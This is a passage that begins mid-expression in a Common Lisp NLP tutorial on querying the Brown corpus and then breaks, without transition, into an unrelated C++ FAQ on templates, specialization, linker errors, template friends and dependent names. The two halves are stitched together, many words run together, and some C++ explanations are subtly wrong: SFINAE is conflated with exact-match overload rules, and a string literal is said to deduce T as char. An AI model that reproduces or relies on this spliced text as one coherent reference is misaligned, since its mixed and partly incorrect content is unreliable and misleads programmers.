(get# :press-reportage
(corpus-groups *brown*))))))
("The" "Fulton" "County" "Grand" "Jury" "said" "Friday" "an" "investigation")
NLP> (take 9 (mapcar #'token-word
(flatten
(mapcar #'text-tokens
(remove-if-not #`(string= "cg22" (text-name %))
(corpus-texts *brown*))))))
("Does" "our" "society" "have" "a" "runaway" "," "uncontrollable" "growth")
NLP> (setf *print-length* 3)
NLP> (mapcan #`(ncorpus::sentences-from-tokens (text-tokens %))
(get# :press-reportage (corpus-groups *brown*)))
((#<The/at 0..3> #<Fulton/np-tl 4..10> #<County/nn-tl 11..17> ...)
(#<The/at 166..169> #<jury/nn 170..174> #<further/rbr 175..182> ...)
(#<The/at 409..412> #<September-October/np 413..430> #<term/nn 431..435> ...)
...)
The function sentences-from-tokens here operates under theassumption, that every token with . tag is ending a sentence, and itsplits the sentences on one or more such tokens.
The presented code may seam much more elaborate, than the NLTK version:
>>> brown.words(categories='news')
['The', 'Fulton', 'County', 'Grand', 'Jury', 'said', ...]
>>> brown.words(fileids=['cg22'])
['Does', 'our', 'society', 'have', 'a', 'runaway', ',', ...]
>>> brown.sents(categories=['news', 'editorial', 'reviews'])
[['The', 'Fulton', 'County'...], ['The', 'jury', 'further'...], ...]
Yet, it should be understood, that it is easy to add a ton of variousutility accessors, like it is done in NLTK, but they will inevitablemake the code more complex and harder to maintain. And the questionis, how frequently are they going to be used and what we will miss anyway?Coding such utilities is very pleasant and easy using thefunctional style, as shown above, so they are left outside of thescope of cl-nlp, at least until proven essential...
(NB. Don't forget to set *print-length* back to nil).
Next, we'll be once again looking at frequency distributions. First, we need to build an ngram index from Brown corpus words in "news" category. In chapter 1 we've already done a very similar thing:
NLP> (index-ngrams
1 (mapcar #'token-word
(flatten (mapcar #'text-tokens
(get# :press-reportage
(corpus-groups *brown*))))))
#<TABLE-NGRAMS order:1 count:14395 outcomes:108130 {101C2B57E3}>
NLP> (defvar *news-1grams* *) ;; * is the previous returned value
NLP> (dolist (m '("can" "could" "may" "might" "must" "will"))
(format t "~A: ~A " m (freq *news-1grams* m)))
can: 93 could: 86 may: 66 might: 38 must: 50 will: 389
Funny, some numbers don't add up to what there's in NLTK:
can: 94 could: 87 may: 93 might: 38 must: 53 will: 389
Well, we can double-check them from a different direction:
NLP> (length (remove-if-not
#`(string= "can" %)
(mapcar #'token-word
(flatten (mapcar #'text-tokens
(get# :press-reportage
(corpus-groups *brown*)))))))
93
Looks like our calculation is precise.
Next is conditional frequency distribution, but we'll leave this topic for the next part that is fully dedicated to that.
So far so good. We have examined common approaches to handling variouscorpora. There are, basically, 2 main things you need to do with them:load & parse and filter for some interesting information. The loadingfor most corpora will be performed either with some regexes on rawstrings, with XML SAX parsing, or using the Lisp reader. And forfiltering Lisp offers a great versatile toolset of higher-orderfunctions: mapcar, remove-if-not, position, and reduce -to name a few. |
Templates
What’s the idea behind templates?
A template is a cookie-cutter that specifies how to cut cookies that all look pretty much the same (although the cookies can be made of various kinds of dough, they’ll all have the same basic shape). In the same way, a class template is a cookie cutter for a description of how to build a family of classes that all look basically the same, and a function template describes how to build a family of similar looking functions.
Class templates are often used to build type safe containers (although this only scratches the surface for how they can be used).
What’s the syntax / semantics for a “class template”?
Consider a container class Array that acts like an array of integers:
// This would go into a header file such as "Array.h"
class Array {
public:
Array(int len=10) : len_(len), data_(new int[len]) { }
~Array() { delete[] data_; }
int len() const { return len_; }
const int& operator[](int i) const { return data_[check(i)]; } // Subscript operators often come in pairs
int& operator[](int i) { return data_[check(i)]; } // Subscript operators often come in pairs
Array(const Array&);
Array& operator= (const Array&);
private:
int len_;
int* data_;
int check(int i) const
{
if (i < 0 || i >= len_)
throw BoundsViol("Array", i, len_);
return i;
}
};
Repeating the above over and over for Array of float, of char, of std::string, of Array-of-std::string, etc, would become tedious. Instead, you add the template<typename T> before the class definition (the T can be any identifier you want, T is just the most commonly used one, especially in examples). Then, instead of using int or float or char where referring to the data type, you use T instead. Also, instead of just referring to the class as Array, it’s Array<T> when referring to the template, or Array<int>, Array<float>, etc. when referring to a specific instantiation.
// This would go into a header file such as "Array.h"
template<typename T>
class Array {
public:
Array(int len=10) : len_(len), data_(new T[len]) { }
~Array() { delete[] data_; }
int len() const { return len_; }
const T& operator[](int i) const { return data_[check(i)]; }
T& operator[](int i) { return data_[check(i)]; }
Array(const Array<T>&);
Array(Array<T>&&);
Array<T>& operator= (const Array<T>&);
Array<T>& operator= (Array<T>&&);
private:
int len_;
T* data_;
int check(int i) const {
assert(i >= 0 && i < len_);
return i;
}
};
Just as with a normal class, you can optionally define your methods outside the class:
template<typename T>
class Array {
public:
int len() const;
// ...
};
template<typename T>
inline // See below if you want to make this non-inline
int Array<T>::len() const
{
// ...
}
Unlike template functions, template classes (instantiations of class templates) need to be explicit about the parameters over which they are instantiating:
int main()
{
Array<int> ai;
Array<float> af;
Array<char*> ac;
Array<std::string> as;
Array<Array<int>> aai;
// ...
}
Note that prior to C++11, a space was required between the two >’s in the last example. Without this space, the C++98/C++03 compiler would see a >> (right-shift) token instead of two >’s. Aren’t you lucky that it is no longer the case in C++11?
What’s the syntax / semantics for a “function template”?
Consider this function that swaps its two integer arguments:
void swap(int& x, int& y)
{
int tmp = x;
x = y;
y = tmp;
}
If we also had to swap floats, longs, Strings, Sets, and FileSystems, we’d get pretty tired of coding lines that look almost identical except for the type. Mindless repetition is an ideal job for a computer, hence a function template:
template<typename T>
void swap(T& x, T& y)
{
T tmp = x;
x = y;
y = tmp;
}
Every time we used swap() with a given pair of types, the compiler will go to the above definition and will create yet another “template function” as an instantiation of the above. Unlike template classes, template functions usually do not need to be explicit about the parameters over which they are instantiating. The compiler can usually determine them automatically. E.g.,
int main()
{
int i,j; /*...*/ swap(i,j); // Instantiates a swap for int
float a,b; /*...*/ swap(a,b); // Instantiates a swap for float
char c,d; /*...*/ swap(c,d); // Instantiates a swap for char
std::string s,t; /*...*/ swap(s,t); // Instantiates a swap for std::string
// ...
}
Note: A “template function” is the instantiation of a “function template”.
Sometimes, you do want to be explicit about the types used.
How do I explicitly select which version of a function template should get called?
When you call a function template, the compiler tries to deduce the template type. Most of the time it can do that successfully, but every once in a while you may want to help the compiler deduce the right type — either because it cannot deduce the type at all, or perhaps because it would deduce the wrong type.
For example, you might be calling a function template that doesn’t have any parameters of its template argument types, or you might want to force the compiler to do certain promotions on the arguments before selecting the correct function template. In these cases you’ll need to explicitly tell the compiler which instantiation of the function template should be called.
Here is a sample function template where the template parameter T does not appear in the function’s parameter list. In this case the compiler cannot deduce the template parameter types when the function is called.
template<typename T>
void f()
{
// ...
}
To call this function with T being an int or a std::string, you could say:
#include <string>
void sample()
{
f<int>(); // type T will be int in this call
f<std::string>(); // type T will be std::string in this call
}
Here is another function whose template parameters appear in the function’s list of formal parameters (that is, the compiler can deduce the template type from the actual arguments):
template<typename T>
void g(T x)
{
// ...
}
Now if you want to force the actual arguments to be promoted before the compiler deduces the template type, you can use the above technique. E.g., if you simply called g(42) you would get g<int>(42), but if you wanted to pass 42 to g<long>(), you could say this: g<long>(42). (Of course you could also promote the parameter explicitly, such as either g(long(42)) or even g(42L), but that ruins the example.)
Similarly if you said g("xyz") you’d end up calling g<char*>(char*), but if you wanted to call the std::string version of g<>() you could say g<std::string>("xyz"). (Again you could also promote the argument, such as g(std::string("xyz")), but that’s another story.)
Another time when you must specify the types is when the function takes two parameters of the same type, but you give it two different types.
template<typename T>
void g(T x, T y);
int m = 0;
long n = 1;
g(m, n);
Since m and n have different types, the compiler can’t deduce what type to use for T, so you have to tell it what to use:
template<typename T>
void g(T x, T y);
int m = 0;
long n = 1;
g<int>(m, n);
What is a “parameterized type”?
Another way to say, “class templates.”
A parameterized type is a type that is parameterized over another type or some value. List<int> is a type (List)parameterized over another type (int).
What is “genericity”?
Yet another way to say, “class templates.”
Not to be confused with “generality” (which just means avoiding solutions which are overly specific), “genericity” means class templates.
My template function does something special when the template type T is int or std::string; how do I write my template so it uses the special code when T is one of those specific types?
Before showing how to do this, let’s make sure you’re not shooting yourself in the foot. Does the function’s behaviorappear different to your users? In other words, is the observable behavior different in some substantive way? If so,you’re probably shooting yourself in the foot and you will probably confuse your users — you’re probably better offusing different functions with different names — don’t use templates, don’t use overloading. For example, if the codefor int inserts something into a container and sorts the result, but the code for std::string removes something froma container and does not sort the result, those two functions ought not to be an overloaded pair — their observablebehavior is different so they ought to have different names.
However if the function’s observable behavior is consistent for all the T types with the differences limited toimplementation details, then you can proceed. Let’s proceed with an example of this (conceptual only; not C++):
template<typename T>
void foo(const T& x)
{
switch (typeof(T)) { // Conceptual only; not C++
case int:
// ...implementation details when T is int
break;
case std::string:
// ...implementation details when T is std::string
break;
default:
// ...implementation details when T is neither int nor std::string
break;
}
}
One way to implement the above is via template specialization. Instead of a switch-statement, you end up breaking upthe code into separate functions. The first function is the default case — the code to be used when T is anythingother than int or std::string:
template<typename T>
void foo(const T& x)
{
// ...implementation details when T is neither int nor std::string
}
Next are the two specializations, first for the int case…
template<>
void foo<int>(const int& x)
{
// ...implementation details when T is int
}
…and next for the std::string case…
template<>
void foo<std::string>(const std::string& x)
{
// ...implementation details when T is std::string
}
That’s it; you’re done. The compiler will automagically select the correct specialization when it sees which T you areusing.
Huh? Can you provide an example of template specialization that doesn’t use foo and bar?
Yes.
One of several ways I personally use template specialization is for stringification. Iusually use a template to stringify various objects of various types, but I often need tospecialize the code for stringifying certain specific types. For instance, when stringifying bools I prefer "true"and "false" over "1" and "0" so I use std::boolalpha when T is bool. Also I often prefer floating pointoutput to contain all the digits (so I can see very small differences, etc.) so I use std::setprecision when T is afloating point type. The end result usually looks something like this:
#include <iostream>
#include <sstream>
#include <iomanip>
#include <string>
#include <limits>
template<typename T> inline std::string stringify(const T& x)
{
std::ostringstream out;
out << x;
return out.str();
}
template<> inline std::string stringify<bool>(const bool& x)
{
std::ostringstream out;
out << std::boolalpha << x;
return out.str();
}
template<> inline std::string stringify<double>(const double& x)
{
const int sigdigits = std::numeric_limits<double>::digits10;
// or perhaps std::numeric_limits<double>::max_digits10 if that is available on your compiler
std::ostringstream out;
out << std::setprecision(sigdigits) << x;
return out.str();
}
template<> inline std::string stringify<float>(const float& x)
{
const int sigdigits = std::numeric_limits<float>::digits10;
// or perhaps std::numeric_limits<float>::max_digits10 if that is available on your compiler
std::ostringstream out;
out << std::setprecision(sigdigits) << x;
return out.str();
}
template<> inline std::string stringify<long double>(const long double& x)
{
const int sigdigits = std::numeric_limits<long double>::digits10;
// or perhaps std::numeric_limits<long_double>::max_digits10 if that is available on your compiler
std::ostringstream out;
out << std::setprecision(sigdigits) << x;
return out.str();
}
Conceptually they all do the same thing: stringify the parameter. That means the observable behavior is consistent,therefore the specializations do not confuse callers. However the details for implementing that observable behavior isslightly different for bool and floating point types, so template specialization is a good approach.
But most of the code in my template function is the same; is there some way to get the benefits of template specialization without duplicating all that source code?
Yes.
For example, suppose your template function has a bunch of common code along with a relatively small amount ofT-specific code (conceptual only; not C++):
template<typename T>
void foo(const T& x)
{
// ... common code that works for all T types ...
switch (typeof(T)) { // Conceptual only; not C++
case int:
// ... small amount of code used only when T is int ...
break;
case std::string:
// ... small amount of code used only when T is std::string ...
break;
default:
// ... small amount of code used when T is neither int nor std::string ...
break;
}
// ... more common code that works for all T types ...
}
If you blindly applied the advice from the FAQ on template specialization, you would end upduplicating all that code before and after the pseudo-switch statement. The way to get the best of both worlds — toget the benefits of T-specific pieces without duplicating the entire function, is to extract the pseudo-switchstatement portion into a separate function foo_part(), and use template specialization onthat separate function:
template<typename T> inline void foo_part(const T& x)
{
// ... small amount of code used when T is neither int nor std::string ...
}
template<> inline void foo_part<int>(const int& x)
{
// ... small amount of code used only when T is int ...
}
template<> inline void foo_part<std::string>(const std::string& x)
{
// ... small amount of code used only when T is std::string ...
}
The main foo() function would be a simple template — no specializations. Note that the pseudo-switch statement hasbeen replaced by a call to foo_part():
template<typename T>
void foo(const T& x)
{
// ... common code that works for all T types ...
foo_part(x);
// ... more common code that works for all T types ...
}
As you can see, the body of foo() now doesn’t mention any particular T. It all gets figured out automatically. Thecompiler generates foo for you based on type T, and will generate the correctly typed foo_part function based onthe actual compile-time known type of the x argument. Proper specializations of foo_part will be instantiated.
All those templates and template specializations must slow down my program, right?
Wrong.
This is a quality-of-implementation issue so your results may vary. However there is usually no slow-down at all. If anything, the templates might affect the speed of compilation slightly, but once the types are resolved by the compiler at compile-time, it will typically generate code that is just as fast as with non-template functions, including inline-expanding appropriate functions, etc.
So templates are overloading, right?
Yes and no.
Function templates participate in name resolution for overloaded functions, but the rules are different. For a template to be considered in overload resolution, the type has to match exactly. If the types do not match exactly, the conversions are not considered and the template is simply dropped from the set of viable functions. That’s what is known as “SFINAE” — Substitution Failure Is Not An Error. Example:
#include <iostream>
#include <typeinfo>
template<typename T> void foo(T* x)
{ std::cout << "foo<" << typeid(T).name() << ">(T*)\n"; }
void foo(int x)
{ std::cout << "foo(int)\n"; }
void foo(double x)
{ std::cout << "foo(double)\n"; }
int main()
{
foo(42); // matches foo(int) exactly
foo(42.0); // matches foo(double) exactly
foo("abcdef"); // matches foo<T>(T*) with T = char
return 0;
}
In this example, foo<T> cannot be considered for the first or the second call to foo in the body of main becauseneither 42 nor 42.0 gives the compiler any information to deduce T. The third call, however, includes foo<T> withT = char and it wins.
Why can’t I separate the definition of my templates class from its declaration and put it inside a .cpp file?
A template is not a class or a function. A template is a “pattern” that the compiler uses to generate a family of classes or functions.
In order for the compiler to generate the code, it must see both the template definition (not just declaration) andthe specific types/whatever used to “fill in” the template. For example, if you’re trying to use a Foo<int>, the compiler must see both theFootemplate and the fact that you’re trying to make a specificFoo<int>.
Your compiler probably doesn’t remember the details of one .cppfile while it is compiling another.cppfile. Itcould, but most do not and if you are reading this FAQ, it almost definitely does not. BTW this is called the “separate compilation model.”
Now based on those facts, here’s an example that shows why things are the way they are. Suppose you have a templateFoo defined like this:
template<typename T>
class Foo {
public:
Foo();
void someMethod(T x);
private:
T x;
};
Along with similar definitions for the member functions:
template<typename T>
Foo<T>::Foo()
{
// ...
}
template<typename T>
void Foo<T>::someMethod(T x)
{
// ...
}
Now suppose you have some code in file Bar.cpp that uses Foo<int>:
// Bar.cpp
void blah_blah_blah()
{
// ...
Foo<int> f;
f.someMethod(5);
// ...
}
Clearly somebody somewhere is going to have to use the “pattern” for the constructor definition and for thesomeMethod() definition and instantiate those when T is actually int. But if you had put the definition of theconstructor and someMethod() into file Foo.cpp, the compiler would see the template code when it compiled Foo.cppand it would see Foo<int> when it compiled Bar.cpp, but there would never be a time when it saw both the templatecode and Foo<int>. So by rule #2 above, it could never generate the code for Foo<int>::someMethod().
A note to the experts: I have obviously made several simplifications above. This was intentional so please don’tcomplain too loudly. If you know the difference between a .cpp file and a compilation unit, the difference between aclass template and a template class, and the fact that templates really aren’t just glorified macros, then don’tcomplain: this particular question/answer wasn’t aimed at you to begin with. I simplified things so newbies would “getit,” even if doing so offends some experts.
How can I avoid linker errors with my template functions?
This answer will be updated due to C++11 extern template. Watch this space for updates in the near future!!
Tell your C++ compiler which instantiations to make while it is compiling your template function’s .cpp file.
As an example, consider the header file foo.h which contains the following template function declaration:
// File "foo.h"
template<typename T>
extern void foo();
Now suppose file foo.cpp actually defines that template function:
// File "foo.cpp"
#include <iostream>
#include "foo.h"
template<typename T>
void foo()
{
std::cout << "Here I am!\n";
}
Suppose file main.cpp uses this template function by calling foo<int>():
// File "main.cpp"
#include "foo.h"
int main()
{
foo<int>();
// ...
}
If you compile and (try to) link these two .cpp files, most compilers will generate linker errors. There are twosolutions for this. The first solution is to physically move the definition of the template function into the .h file,even if it is not an inline function. This solution may (or may not!) cause significant code bloat, meaning yourexecutable size may increase dramatically (or, if your compiler is smart enough, may not; try it and see).
The other solution is to leave the definition of the template function in the .cpp file and simply add the linetemplate void foo<int>(); to that file:
// File "foo.cpp"
#include <iostream>
#include "foo.h"
template<typename T> void foo()
{
std::cout << "Here I am!\n";
}
template void foo<int>();
If you can’t modify foo.cpp, simply create a new .cpp file such as foo-impl.cpp as follows:
// File "foo-impl.cpp"
#include "foo.cpp"
template void foo<int>();
Notice that foo-impl.cpp #includes a .cpp file, not a .h file. If that’s confusing, click your heels twice, think ofKansas, and repeat after me, “I will do it anyway even though it’s confusing.” You can trust me on this one. But if youdon’t trust me or are simply curious, the rationale is given earlier.
How does the C++ keyword export help with template linker errors?
This answer will be updated due to C++11 extern template. Watch this space for updates in the near future!!
The C++ keyword export was originally designed to eliminate the need to include a template definition (either by providing the definition in the header file or by including the implementation file). However, only a few compilers ever supported this capability, such as Comeau C++ and Sun Studio, and the general consensus was that it was not worth the trouble.
Because of that, in the C++11 standard, the export feature has been removed from the language. It remains a reserved word but it no longer has any meaning.
If you are working with a compiler that supports the export keyword, it will probably continue to support the keyword via some sort of compiler option or extension until its users migrate away from it. If you already have code that uses export, you can use a fairly simple discipline to allow your code to easily migrate if/when your compiler stopssupporting it entirely. Just define your template header-files like this:
// File Foo.h
#ifdef USE_EXPORT_KEYWORD
export
#endif
template<typename T>
class Foo {
// ...
};
#ifndef USE_EXPORT_KEYWORD
#include "Foo.cpp"
#endif
And define your non-inline functions in a source-file like this:
// File Foo.cpp#ifdef USE_EXPORT_KEYWORDexport#endiftemplate<typename T> ...
Then compile with -DUSE_EXPORT_KEYWORD, or whatever equivalent compiler option lets you set a preprocessor symbol like USE_COMPILER_KEYWORD, and if/when your compiler removes support for export, just remove that compiler option.
How can I avoid linker errors with my template classes?
This answer will be updated due to C++11 extern template. Watch this space for updates in the near future!!
Tell your C++ compiler which instantiations to make while it is compiling your template class’s .cpp file.
(If you’ve already read the previous FAQ, this answer is completely symmetric with that one, so you can probably skip this answer.)
As an example, consider the header file Foo.h which contains the following template class. Note that method Foo<T>::f() is inline and methods Foo<T>::g() and Foo<T>::h() are not.
// File "Foo.h"
template<typename T>
class Foo {
public:
void f();
void g();
void h();
};
template<typename T>
inline
void Foo<T>::f()
{
// ...
}
Now suppose file Foo.cpp actually defines the non-inline methods Foo<T>::g() and Foo<T>::h():
// File "Foo.cpp"
#include <iostream>
#include "Foo.h"
template<typename T>
void Foo<T>::g()
{
std::cout << "Foo<T>::g()\n";
}
template<typename T>
void Foo<T>::h()
{
std::cout << "Foo<T>::h()\n";
}
Suppose file main.cpp uses this template class by creating a Foo<int> and calling its methods:
// File "main.cpp"
#include "Foo.h"
int main()
{
Foo<int> x;
x.f();
x.g();
x.h();
// ...
}
If you compile and (try to) link these two .cpp files, most compilers will generate linker errors. There are twosolutions for this. The first solution is to physically move the definition of the template functions into the .h file,even if they are not inline functions. This solution may (or may not!) cause significant code bloat, meaning yourexecutable size may increase dramatically (or, if your compiler is smart enough, may not; try it and see).
The other solution is to leave the definition of the template function in the .cpp file and simply add the linetemplate class Foo<int>; to that file:
// File "Foo.cpp"
#include <iostream>
#include "Foo.h"
// ...definition of Foo<T>::f() is unchanged -- see above...
// ...definition of Foo<T>::g() is unchanged -- see above...
template class Foo<int>;
If you can’t modify Foo.cpp, simply create a new .cpp file such as Foo-impl.cpp as follows:
// File "Foo-impl.cpp"
#include "Foo.cpp"
template class Foo<int>;
Notice that Foo-impl.cpp #includes a .cpp file, not a .h file. If that’s confusing, click your heels twice, think ofKansas, and repeat after me, “I will do it anyway even though it’s confusing.” You can trust me on this one. But if youdon’t trust me or are simply curious, the rationale is given earlier.
Why do I get linker errors when I use template friends?
Ah, the intricacies of template friends. Here’s an example of what people often want to do:
#include <iostream>
template<typename T>
class Foo {
public:
Foo(const T& value = T());
friend Foo<T> operator+ (const Foo<T>& lhs, const Foo<T>& rhs);
friend std::ostream& operator<< (std::ostream& o, const Foo<T>& x);
private:
T value_;
};
Naturally the template will need to actually be used somewhere:
int main()
{
Foo<int> lhs(1);
Foo<int> rhs(2);
Foo<int> result = lhs + rhs;
std::cout << result;
// ...
}
And of course the various member and friend functions will need to be defined somewhere:
template<typename T>
Foo<T>::Foo(const T& value = T())
: value_(value)
{ }
template<typename T>
Foo<T> operator+ (const Foo<T>& lhs, const Foo<T>& rhs)
{ return Foo<T>(lhs.value_ + rhs.value_); }
template<typename T>
std::ostream& operator<< (std::ostream& o, const Foo<T>& x)
{ return o << x.value_; }
The snag happens when the compiler sees the friend lines way up in the class definition proper. At that moment it doesnot yet know the friend functions are themselves templates; it assumes they are non-templates like this:
Foo<int> operator+ (const Foo<int>& lhs, const Foo<int>& rhs)
{ /*...*/ }
std::ostream& operator<< (std::ostream& o, const Foo<int>& x)
{ /*...*/ }
When you call the operator+ or operator<< functions, this assumption causes the compiler to generate a call to thenon-template functions, but the linker will give you an “undefined external” error because you never actually definedthose non-template functions.
The solution is to convince the compiler while it is examining the class body proper that the operator+ andoperator<< functions are themselves templates. There are several ways to do this; one simple approach is pre-declareeach template friend function above the definition of template class Foo:
template<typename T> class Foo; // pre-declare the template class itself
template<typename T> Foo<T> operator+ (const Foo<T>& lhs, const Foo<T>& rhs);
template<typename T> std::ostream& operator<< (std::ostream& o, const Foo<T>& x);
Also you add <> in the friend lines, as shown:
#include <iostream>
template<typename T>
class Foo {
public:
Foo(const T& value = T());
friend Foo<T> operator+ <> (const Foo<T>& lhs, const Foo<T>& rhs);
friend std::ostream& operator<< <> (std::ostream& o, const Foo<T>& x);
private:
T value_;
};
After the compiler sees that magic stuff, it will be better informed about the friend functions. In particular, itwill realize that the friend lines are referring to functions that are themselves templates. That eliminates theconfusion.
Another approach is to define the friend function within the class body at the same moment you declare it to be afriend. For example:
#include <iostream>
template<typename T>
class Foo {
public:
Foo(const T& value = T());
friend Foo<T> operator+ (const Foo<T>& lhs, const Foo<T>& rhs)
{
// ...
}
friend std::ostream& operator<< (std::ostream& o, const Foo<T>& x)
{
// ...
}
private:
T value_;
};
Why can’t I define constraints for my template parameters?
(Note: This FAQ is a bit dated and needs to be updated for static_assert.)
Well, you can, and it’s quite easy and general.
Consider:
template<class Container>
void draw_all(Container& c)
{
for_each(c.begin(),c.end(),mem_fun(&Shape::draw));
}
If there is a type error, it will be in the resolution of the fairly complicated for_each() call. For example, if the element type of the container is an int, then we get some kind of obscure error related to the for_each() call (because we can’t invoke Shape::draw() for an int).
To catch such errors early, you can write:
template<class Container>
void draw_all(Container& c)
{
Shape* p = c.front(); // accept only containers of Shape*s
for_each(c.begin(),c.end(),mem_fun(&Shape::draw));
}
The initialization of the spurious variable p will trigger a comprehensible error message from most current compilers. Tricks like this are common in all languages and have to be developed for all novel constructs. In production code, you’d probably write something like:
template<class Container>
void draw_all(Container& c)
{
typedef typename Container::value_type T;
Can_copy<T,Shape*>(); // accept containers of only Shape*s
for_each(c.begin(),c.end(),mem_fun(&Shape::draw));
}
This makes it clear that you’re making an assertion. The Can_copy template can be defined like this:
template<class T1, class T2> struct Can_copy {
static void constraints(T1 a, T2 b) { T2 c = a; b = a; }
Can_copy() { void(*p)(T1,T2) = constraints; }
};
Can_copy checks (at compile time) that a T1 can be assigned to a T2. Can_copy<T,Shape*> checks that T is a Shape* or a pointer to a class publicly derived from Shape or a type with a user-defined conversion to Shape*. Note that the definition is close to minimal:
one line to name the constraints to be checked and the types for which to check them
one line to list the specific constraints checked (the constraints()function)
one line to provide a way to trigger the check (the constructor)
Note also that the definition has the desirable properties that
You can express constraints without declaring or copying variables, thus the writer of a constraint doesn’t have to make assumptions about how a type is initialized, whether objects can be copied, destroyed, etc. (unless, of course, those are the properties being tested by the constraint)
No code is generated for a constraint using current compilers
No macros are needed to define or use constraints
Current compilers give acceptable error messages for a failed constraint, including the word “constraints” (to give the reader a clue), the name of the constraints, and the specific error that caused the failure (e.g. “cannot initialize Shape* by double*”)
So why is something like Can_copy() – or something even more elegant – not in the language? A way to specify these constraints directly is being worked on as we speak – see Concepts Lite.
Until then, the above the idea is very general. After all, when we write a template we have the full expressive power of C++ available. Consider:
template<class T, class B> struct Derived_from {
static void constraints(T* p) { B* pb = p; }
Derived_from() { void(*p)(T*) = constraints; }
};
template<class T1, class T2> struct Can_copy {
static void constraints(T1 a, T2 b) { T2 c = a; b = a; }
Can_copy() { void(*p)(T1,T2) = constraints; }
};
template<class T1, class T2 = T1> struct Can_compare {
static void constraints(T1 a, T2 b) { a==b; a!=b; a<b; }
Can_compare() { void(*p)(T1,T2) = constraints; }
};
template<class T1, class T2, class T3 = T1> struct Can_multiply {
static void constraints(T1 a, T2 b, T3 c) { c = a*b; }
Can_multiply() { void(*p)(T1,T2,T3) = constraints; }
};
struct B { };
struct D : B { };
struct DD : D { };
struct X { };
int main()
{
Derived_from<D,B>();
Derived_from<DD,B>();
Derived_from<X,B>();
Derived_from<int,B>();
Derived_from<X,int>();
Can_compare<int,float>();
Can_compare<X,B>();
Can_multiply<int,float>();
Can_multiply<int,float,double>();
Can_multiply<B,X>();
Can_copy<D*,B*>();
Can_copy<D,B*>();
Can_copy<int,B*>();
}
// the classical "elements must derived from Mybase*" constraint:
template<class T> class Container : Derived_from<T,Mybase> {
// ...
};
Actually, Derived_from doesn’t check derivation, but conversion, but that’s often a better constraint. Finding good names for constraints can be hard.
How can any human hope to understand these overly verbose template-based error messages?
Here’s a free tool that transforms error messages into something more understandable. At the time of this writing, it works with the following compilers: Comeau C++, Intel C++, CodeWarrior C++, gcc, Borland C++, Microsoft Visual C++, and EDG C++.
Here’s an example showing some unfiltered gcc error messages:
rtmap.cpp: In function `int main()':
rtmap.cpp:19: invalid conversion from `int' to `
std::_Rb_tree_node<std::pair<const int, double> >*'
rtmap.cpp:19: initializing argument 1 of `std::_Rb_tree_iterator<_Val, _Ref,
_Ptr>::_Rb_tree_iterator(std::_Rb_tree_node<_Val>*) [with _Val =
std::pair<const int, double>, _Ref = std::pair<const int, double>&, _Ptr =
std::pair<const int, double>*]'
rtmap.cpp:20: invalid conversion from `int' to `
std::_Rb_tree_node<std::pair<const int, double> >*'
rtmap.cpp:20: initializing argument 1 of `std::_Rb_tree_iterator<_Val, _Ref,
_Ptr>::_Rb_tree_iterator(std::_Rb_tree_node<_Val>*) [with _Val =
std::pair<const int, double>, _Ref = std::pair<const int, double>&, _Ptr =
std::pair<const int, double>*]'
E:/GCC3/include/c++/3.2/bits/stl_tree.h: In member function `void
std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::insert_unique(_II,
_II) [with _InputIterator = int, _Key = int, _Val = std::pair<const int,
double>, _KeyOfValue = std::_Select1st<std::pair<const int, double> >,
_Compare = std::less<int>, _Alloc = std::allocator<std::pair<const int,
double> >]':
E:/GCC3/include/c++/3.2/bits/stl_map.h:272: instantiated from `void std::map<_
Key, _Tp, _Compare, _Alloc>::insert(_InputIterator, _InputIterator) [with _Input
Iterator = int, _Key = int, _Tp = double, _Compare = std::less<int>, _Alloc = st
d::allocator<std::pair<const int, double> >]'
rtmap.cpp:21: instantiated from here
E:/GCC3/include/c++/3.2/bits/stl_tree.h:1161: invalid type argument of `unary *
'
Here’s what the filtered error messages look like (note: you can configure the tool so it shows more information; this output was generated with settings to strip things down to a minimum):
rtmap.cpp: In function `int main()':
rtmap.cpp:19: invalid conversion from `int' to `iter'
rtmap.cpp:19: initializing argument 1 of `iter(iter)'
rtmap.cpp:20: invalid conversion from `int' to `iter'
rtmap.cpp:20: initializing argument 1 of `iter(iter)'
stl_tree.h: In member function `void map<int,double>::insert_unique(_II, _II)':
[STL Decryptor: Suppressed 1 more STL standard header message]
rtmap.cpp:21: instantiated from here
stl_tree.h:1161: invalid type argument of `unary *'
Here is the source code to generate the above example:
#include <map>
#include <algorithm>
#include <cmath>
const int values[] = { 1,2,3,4,5 };
const int NVALS = sizeof values / sizeof (int);
int main()
{
using namespace std;
typedef map<int, double> valmap;
valmap m;
for (int i = 0; i < NVALS; i++)
m.insert(make_pair(values[i], pow(values[i], .5)));
valmap::iterator it = 100; // error
valmap::iterator it2(100); // error
m.insert(1,2); // error
return 0;
}
Why am I getting errors when my template-derived-class uses a nested type it inherits from its template-base-class?
Perhaps surprisingly, the following code is not valid C++, even though some compilers accept it:
template<typename T>
class B {
public:
class Xyz { /*...*/ }; // Type nested in class B<T>
typedef int Pqr; // Type nested in class B<T>
};
template<typename T>
class D : public B<T> {
public:
void g()
{
Xyz x; // Bad (even though some compilers erroneously (temporarily?) accept it)
Pqr y; // Bad (even though some compilers erroneously (temporarily?) accept it)
}
};
This might hurt your head; better if you sit down.
Within D<T>::g(), name Xyz and Pqr do not depend on template parameter T, so they are known as a nondependentnames. On the other hand, B<T> is dependent on template parameter T so B<T> is called a dependent name.
Here’s the rule: the compiler does not look in dependent base classes (like B<T>) when looking up nondependent names(like Xyz or Pqr). As a result, the compiler does not know they even exist let alone are types.
At this point, programmers sometimes prefix them with B<T>::, such as:
template<typename T>
class D : public B<T> {
public:
void g()
{
B<T>::Xyz x; // Bad (even though some compilers erroneously (temporarily?) accept it)
B<T>::Pqr y; // Bad (even though some compilers erroneously (temporarily?) accept it)
}
};
Unfortunately this doesn’t work either because those names (are you ready? are you sitting down?) are not necessarilytypes. “Huh?!?” you say. “Not types?!?” you exclaim. “That’s crazy; any fool can SEE they are types; just look!!!” youprotest. Sorry, the fact is that they might not be types. The reason is that there can be a specialization of B<T>,say B<Foo>, where B<Foo>::Xyz is a data member, for example. Because of this potential specialization, the compilercannot assume that B<T>::Xyz is a type until it knows T. The solution is to give the compiler a hint via thetypename keyword:
template<typename T>
class D : public B<T> {
public:
void g()
{
typename B<T>::Xyz x; // Good
typename B<T>::Pqr y; // Good
}
};
Why am I getting errors when my template-derived-class uses a member it inherits from its template-base-class?
Perhaps surprisingly, the following code is not valid C++, even though some compilers accept it:
template<typename T>
class B {
public:
void f() { } // Member of class B<T>
};
template<typename T>
class D : public B<T> {
public:
void g()
{
f(); // Bad (even though some compilers erroneously (temporarily?) accept it)
}
};
